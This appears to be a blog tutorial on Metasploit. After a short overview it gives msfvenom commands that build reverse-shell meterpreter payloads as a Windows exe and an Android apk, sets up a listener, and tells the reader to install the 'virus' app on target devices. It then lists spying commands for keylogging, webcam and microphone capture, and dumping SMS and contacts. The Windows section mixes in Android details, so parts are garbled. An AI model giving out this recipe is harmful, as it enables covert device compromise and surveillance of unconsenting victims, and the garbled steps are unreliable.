For Educational Purpose Only I will not be responsible for any illegal activities that may occur due to misuse of this knowledge!!!
Introduction:
Metasploit is a powerful open-source penetration testing framework widely used by security professionals and ethical hackers to identify and exploit vulnerabilities in computer systems. Developed by Rapid7, Metasploit offers a versatile set of tools for conducting security assessments and ethical hacking. In this blog post, we’ll delve into the fundamentals of Metasploit and explore some essential commands.
What is Metasploit?
Metasploit is a modular and extensible framework that simplifies the process of penetration testing. Its primary goal is to simulate real-world attacks, enabling security experts to assess and strengthen the defenses of a system. The framework includes a variety of exploits, payloads, auxiliary modules, and post-exploitation tools.
Key features of Metasploit include:
- Exploitation
- Payloads
- Post-Exploitation
- Auxiliary Modules
- Integration
Exploitation:
Exploits in Metasploit are modules designed to take advantage of specific vulnerabilities in target systems.
Command Example: use exploit/[exploit_module]
Payloads:
Payloads are pieces of code delivered to a compromised system after a successful exploit. They can range from simple command execution to more advanced functionalities.
Command Example: set payload [payload_module]
Post-Exploitation:
Metasploit allows users to perform post-exploitation tasks, such as privilege escalation, data exfiltration, and maintaining access to the compromised system.
Command Example: post/windows/manage/migrate
Auxiliary Modules:
These modules provide additional functionalities for information gathering, reconnaissance, and network scanning.
Command Example: use auxiliary/scanner/portscan/tcp
Generate Payload
We will generate a payload using Metasploit. Be sure that Metasploit is installed on your machine. Then run this command:
Windows:
# command
” msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f exe -o filename.exe “
Here:
- -p indicates a payload type
- windows/metepreter/reverse_tcp specifies a reverse meterpreter shell would come in from a target windows device
- LHOST is your local IP
- LPORT is your IP’s listening port
- /home/user/ would give the output directly
- exe is the final malicious app
Fire Up MSFconsole
We need to set a listener on our PC/server. If the target device installs and opens the “virus.apk” application, it’ll start sending a reverse connection to our listener.
To create a listener using Metasploit, run these commands:
- msfconsole
- use exploit/multi/handler
- set payload android/meterpreter/reverse_tcp
- set LHOST <ip address>
- set LPORT 4444
- exploit
Launch The Attack
Now let’s install the “windows.exe” on the targetted device and open the application. If the user opens the application, it’ll send a connection to our listener and create a session. We can install the virus application on many devices.
Working Commands
sysinfo
screenshot
shell
webcam_snap
keyscan_start
keyscan_dump
Shutdown
Android:
# command
” msfvenom -p android/meterpreter/reverse_tcp LHOST=YOUR_PUBLIC_IP LPORT=YOUR_PORT R> /location/app_name.apk “
Here:
- -p indicates a payload type
- android/metepreter/reverse_tcp specifies a reverse meterpreter shell would come in from a target Android device
- LHOST is your local IP
- LPORT is your IP’s listening port
- /home/user/ would give the output directly
- apk is the final malicious app
Fire Up MSFconsole
We need to set a listener on our PC/server. If the target device installs and opens the “virus.apk” application, it’ll start sending a reverse connection to our listener.
To create a listener using Metasploit, run these commands:
- msfconsole
- use exploit/multi/handler
- set payload android/meterpreter/reverse_tcp
- set LHOST <ip address>
- set LPORT 4444
- exploit
Launch The Attack
Now let’s install the “test.apk” on the targetted device and open the app. If the user opens the app, it’ll send a connection to our listener and create a session. We can install the virus app on many devices.
Working Commands
We can then enter help to see all the Android meterpreter commands.
app_list: Show all installed applications
app_install: Request to install apk file
app_run: Start an application
app_uninstall: Request to uninstall an application
dump_contacts: Get all contacts and save in our PC
dump_calllog: Get call log and save in our PC
dump_sms: Get all sms and save in our PC
send_sms: Send sms to any number
geolocacte: Current lat and long of the device
record_mic: Sound recorder
webcam_list: Available cameras
All the camera listing out , and choose what you want,
webcam_snap:
webcam_snap like camera list (1 or 2): Take photo by selecting camera
webcam_stream:
webcam_stream like camera list (1 or 2): Open specific camera and live streaming
Conclusion:
Metasploit is a valuable tool for security professionals, enabling them to assess and enhance the security of systems. While this blog post provides an overview and some basic commands, mastering Metasploit requires hands-on practice and a deep understanding of ethical hacking principles. Always ensure proper authorization before using Metasploit or any similar tools in a real-world environment.